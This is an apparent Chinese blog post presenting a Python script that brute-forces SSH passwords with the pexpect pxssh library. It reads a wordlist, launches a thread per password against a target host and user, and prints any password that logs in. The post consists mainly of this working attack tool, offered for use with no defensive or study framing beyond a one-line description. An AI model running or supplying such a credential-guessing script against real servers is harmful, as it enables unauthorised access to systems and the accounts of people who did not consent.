发布时间:2019-09-26 07:25:30编辑:auto阅读(2024)
一、工具说明
利用pxssh库进行暴力破解ssh
二、演示一下的利用效果
三、代码+注释
from pexpect import pxssh import argparse import threading maxConnetions = 5 connect_lock = threading.BoundedSemaphore(value=maxConnetions) def connect(host, user, password): try: s = pxssh.pxssh() # 登录ssh测试 s.login(host, user, password) print("[+] Password Found: {}".format(password)) except pxssh.ExceptionPxssh as e: pass def main(): parser = argparse.ArgumentParser() parser.add_argument('-H', dest='Host', help="like: 192.168.3.1") parser.add_argument('-F', dest='passwdFile', help="like: /root/pass.txt") parser.add_argument('-u', dest='user') args = parser.parse_args() host = args.Host passwdFile = args.passwdFile user = args.user with open(passwdFile, 'r') as f: for line in f.readlines(): with connect_lock: password = line.strip('\n') print("[-] Testing: {}".format(password)) # 起线程每个密码尝试登录一次 t = threading.Thread(target=connect, args=(host, user, password)) t.start() if __name__ == '__main__': main()
上一篇: python3 购物车小程序
下一篇: python3 搜索关键字小程序
47756
46264
37145
34652
29241
25899
24769
19873
19435
17928
5725°
6330°
5847°
5898°
7000°
5836°
5856°
6370°
6326°
7691°